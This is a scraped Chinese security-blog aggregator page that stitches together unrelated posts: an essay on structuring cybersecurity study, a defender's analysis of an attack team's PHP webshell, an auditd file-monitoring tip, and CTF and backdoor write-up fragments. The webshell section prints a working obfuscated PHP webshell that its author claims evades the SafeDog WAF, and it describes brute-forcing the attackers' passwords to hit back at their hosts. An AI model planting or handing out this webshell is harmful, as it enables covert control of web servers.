Aggregator
Now using Hugo for the blog
Collision Course: Keeping Up With Digital Complexity in an App-Enabled World
What Are Security Controls?
网络安全学习方法论之体系的重要性
——Micropoor
古人半部论语治天下,读书考功只须熟读四书,而四书加起来不过区区5万字。可见网络安全学习知识体系的建立是重中之重。
古人将一个职业划分为7个阶段,既:
- 奴:自愿和靠人监督的人
- 徒:能力不足,肯自愿学习的人
- 工:老老实实,按规矩做事的人
- 匠:精通一门技艺或手艺的人
- 师:掌握了规律,又能将其传授给他人的人
- 家:有固定的信念,让别人生活的更好的人
- 圣:精通事理,通达万物的人
同样网络安全学习也有10个阶段划,既:
- 问:自愿或靠人监督的人
- 学:能力不足,肯自愿学习的人
- 动:老老实实,按课本或教学实践的人
- 记:记录每次实践或学习心得体会并总结的人
- 体系:建立适合自己的体系,并能把知识碎片化结合到自我体系的人
- 问:体系建立后,重新归纳更新知识,并体系重新结构化的人
- 分享:掌握了规律,又能将其传授给他人的人
- 带团队:有固定的信念,带领团队或集体形成合力的人
- 授业:可以传授道理、教授学业、解答疑难问题,指路人。
- 育才:培养出比自己优秀和强大的人
只有体系化的知识结构才能教导你思考问题、引导你洞察趋势、指导你展开行动。
什么是体系?
- 体系的本质是碎片化知识点的灵活串联与应用
- 知识体系是基于人而存在的,世上不存在不同的人完全相同的知识体系
什么是知识体系?
- 在我的定义中,知识体系是跟碎片知识相对应的概念,指高度有序的知识集合。也就是说,它由两部分组成:一是大量的知识点,二是有序的结构。
建立体系的过程?
- 整理知识碎片化
- 建立知识框架
- 形成知识体系
- 碎片化知识点纳入体系中
王国维在《人间词话》中说,古今之成大事业、大学问者,必经过三种之境界:
- 昨夜西风凋碧树,独立高楼,望尽天涯路
- 衣带渐宽终不悔,为伊消得人憔悴
- 众里寻他千百度,蓦然回首,那人却在灯火阑处
爱德加·戴尔提出了一套学习模型:模型主要分别为被动学习与主动学习的一个过程。 同时提出,学习效果在30%以下的几种传统方式,都是个人学习或被动学习;而学习效果在50%以上的,都是团队学习、主动学习和参与式学习。
“输出”是最好的学习方式,“输出”的本质是体系重新结构化
这里总结了如下经常碰到的问题,值得每一位网络安全从业人员深思:
- 不知道怎么学?
- 不知道学哪个方向?
- 越学越不会?
- 感觉自己跟不上知识更新的速度?
- 从事网安工作若干年后,感觉遇到技术瓶颈,怎么突破?
- 工具/技术招式越来越多,怎么办?
- 从事管理工作后,没有时间或者精力学习技术怎么办?
方法论结合于实战应用,请参考之前的文章如下:
结语:
在每次分享的同时,深深发现,原来分享,才是我最好的老师。 网络安全亦正亦邪,初极狭,才通人。复行数十步,豁然开朗。土地平旷,屋舍俨然,有良田美池桑竹之属。别在初极狭便放弃这“人间正道”,错过这“土地平旷,屋舍俨然,有良田美池桑竹之属。”,愿每一位读者能找到自己能融合贯通的“武功”,在结合吞噬其他“招式”,如行云流水,石便是器,枝便是剑。
In Conversation: The Women in Network Security
作文:记一次简单的寻人
对另一种变形一句话进行分析
修改Android源码实现原生应用双开,应用多开 - luoyesiqiu
VFIO driver analysis
对某攻击队的Webshell进行分析
对我⽅已拿下的攻击方⾁鸡进⾏⽇志、⽂件等分析,发现⼤部分肉鸡的网站根目录都存在 images.php,提取该文件的内容并分析:
提出较为重要的那一段base64decode后的PHP代码进行分析:
@session_start();//开启session if(isset($_POST['code']))substr(sha1(md5($_POST['a'])),36)=='222f'&&$_SESSION['theCode']=$_POST['code'];if(isset($_SESSION['theCode']))@eval(base64_decode($_SESSION['theCode']));代码逻辑:判断POST请求参数code是否有值,当满足条件时则执行substr(sha1(md5($_POST['a'])),36)=='222f'&&$_SESSION['theCode']=$_POST['code'],这段代码的意思为将POST请求参数a的值进行md5加密再进行sha1加密,最后从加密后的字符串的第36位开始取值(sha1加密后的值为40位,这里也就是取后4位),当后四位等于222f的时候条件为真则执行$_SESSION['theCode']=$_POST['code'](Why?&&是逻辑与操作,如果&&的前面为false了,后面的就不会执行了,所以在这里也就间接的形成了一种判断从而必须满足后四位等于222f的条件),最后进入该代码执行:if(isset($_SESSION['theCode']))@eval(base64_decode($_SESSION['theCode']));,代码如此简单就不再重复描述~
为了满足条件(substr(sha1(md5($_POST['a'])),36)=='222f'),我们可以采用钓鱼的方式等攻击方人员主动上钩(修改images.php即可):
当攻击方人员主动连接该Webshell时会将POST请求参数a的值写入到pass.txt中。
但此方法较为被动,我们还可以在本地搭建一个环境搭配Burp去爆破获取后四位为222f的明文:
获得了:abc123000、lipeng520、160376这三个密码,可利用密码对其他的肉鸡再次进行反打。
代码样本:(测试可过安全狗)
<?php $CF='c'.'r'.'e'.'a'.'t'.'e'.'_'.'f'.'u'.'n'.'c'.'t'.'i'.'o'.'n'; $EB=@$CF('$x','e'.'v'.'a'.'l'.'(b'.'a'.'s'.'e'.'6'.'4'.'_'.'d'.'e'.'c'.'o'.'d'.'e($x));'); $EB('QHNlc3Npb25fc3RhcnQoKTtpZihpc3NldCgkX1BPU1RbJ2NvZGUnXSkpc3Vic3RyKHNoYTEobWQ1KCRfUE9TVFsnYSddKSksMzYpPT0nMjIyZicmJiRfU0VTU0lPTlsndGhlQ29kZSddPSRfUE9TVFsnY29kZSddO2lmKGlzc2V0KCRfU0VTU0lPTlsndGhlQ29kZSddKSlAZXZhbChiYXNlNjRfZGVjb2RlKCRfU0VTU0lPTlsndGhlQ29kZSddKSk7'); ?>Announcing the Microsoft Edge Insider Bounty
没有被JS程序员坑过的后台不是好的架构师
TRICK: Linux Auditd审计工具
难题:/home/chen/test/目录下的index.html为首页文件,一直被入侵者恶意篡改
需求:想要定位攻击方式以及篡改方式
命令:auditctl (安装:sudo apt install auditd)
参数:
-w 监控文件路径 -p 监控文件筛选 r(读) w(写) x(执行) a(属性改变) -k 关键词(用于查询监控日志)运行:sudo auditctl -w /home/chen/test/index.html -p w -k index,等待二次篡改
过程发现被篡改执行:sudo ausearch -i -k index 查看日志
type=SYSCALL msg=audit(08/20/2019 02:22:10.905:509) : arch=x86_64 syscall=rename success=yes exit=0 a0=0x7f5c94011370 a1=0x7f5c94005d90 a2=0x0 a3=0x20 items=5 ppid=1966 pid=17243 auid=chen uid=chen gid=chen euid=chen suid=chen fsuid=chen egid=chen sgid=chen fsgid=chen tty=(none) ses=3 comm=pool exe=/usr/bin/gedit key=index了解该日志的格式:
syscall : 相关的系统调用 auid : 审计用户ID uid 和 gid : 访问文件的用户ID和用户组ID comm : 用户访问文件的命令 exe : 上面命令的可执行文件路径这里的syscall可以理解为是执行的动作,那么这段日志就非常容易理解了:用户chen使用gedit rename了该文件(重命名)
那么syscall是什么代表着编辑文件内容呢?(篡改)
测试gedit打开文件、编辑文件内容、保存文件,有三条日志:
type=SYSCALL msg=audit(08/20/2019 02:22:10.897:506) : arch=x86_64 syscall=openat success=no exit=EEXIST(File exists) a0=0xffffff9c a1=0x7f5ca0009800 a2=O_WRONLY|O_CREAT|O_EXCL a3=0x1b6 items=2 ppid=1966 pid=17243 auid=chen uid=chen gid=chen euid=chen suid=chen fsuid=chen egid=chen sgid=chen fsgid=chen tty=(none) ses=3 comm=pool exe=/usr/bin/gedit key=index type=SYSCALL msg=audit(08/20/2019 02:22:10.897:507) : arch=x86_64 syscall=openat success=yes exit=17 a0=0xffffff9c a1=0x7f5ca0009800 a2=O_WRONLY|O_CREAT|O_NOFOLLOW a3=0x1b6 items=2 ppid=1966 pid=17243 auid=chen uid=chen gid=chen euid=chen suid=chen fsuid=chen egid=chen sgid=chen fsgid=chen tty=(none) ses=3 comm=pool exe=/usr/bin/gedit key=index type=SYSCALL msg=audit(08/20/2019 02:22:10.905:509) : arch=x86_64 syscall=rename success=yes exit=0 a0=0x7f5c94011370 a1=0x7f5c94005d90 a2=0x0 a3=0x20 items=5 ppid=1966 pid=17243 auid=chen uid=chen gid=chen euid=chen suid=chen fsuid=chen egid=chen sgid=chen fsgid=chen tty=(none) ses=3 comm=pool exe=/usr/bin/gedit key=indexsyscall分别为:openat、openat、rename,但注意到第一个openat的日志中的success等于no
也就是说我们可以理解日志中出现syscall=openat即有人在修改文件,那么查看日志的命令就可以变成:
sudo ausearch -i -k index | grep 'syscall=openat'
END:定位到了用户、进程就可以继续跟踪了。
第三十七期 电子数据鉴定的注意事项
SUCTF 2019 web partial wp
.user.ini 上传绕过,GIF89a 绕过图片检测。
可参考 GHOST_URL/file-upload/#user.ini-%E9%85%8D%E7%BD%AE%E6%96%87%E4%BB%B6
easyphp Brief desc打开页面,已经给出了源
weevely3 后门分析
补了很久之前的一个坑,写的很水(大佬不用浪费时间看这篇了
原来还是在某年的 xman 题目中见到的 weevely 后门